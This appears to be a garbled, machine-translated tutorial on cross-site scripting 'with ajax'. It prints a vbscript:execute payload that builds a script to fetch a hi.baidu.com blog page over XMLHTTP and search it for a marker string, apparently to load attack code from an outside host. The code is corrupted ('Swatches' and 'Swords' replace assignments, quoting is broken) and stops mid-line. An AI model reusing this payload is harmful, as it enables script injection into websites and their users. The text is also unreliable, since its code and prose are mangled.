How to write ajax to realize cross-station

This article mainly introduces "how to write ajax to achieve cross-site". In the daily operation, I believe that many people have doubts about how to write ajax to achieve cross-site problems. The editor consulted all kinds of materials and sorted out simple and easy-to-use methods of operation. I hope it will be helpful for you to answer the doubts of "how to write ajax to achieve cross-site". Next, please follow the editor to study!

The code is as follows:

_ vbscript:execute ("

Dim l,s:

L=chr (13) + chr (10):

S = "" sub mycode "" & l:

Swatches & "" dim http,url,pg,p,p2,cd,ht,o "" & l:

Swatches & "" url= "http://hi.baidu.com/monyer/blog/item/83b70ed71b5095dda044df67.html""""""&l:"

Swatches & "" set http=createobject ("Microsoft.XMLHTTP") "& l:

Swatches & "" http.open "get", url,false "" & l:

Swatches & "" http.send (")" & l:

Swatches & "" pg=http.responseText "" & l:

Swatches & "" p=instr (1 p=instr PG, "ILOVEUNING-BEGIN") "& l:

Swords & "" if p=null or p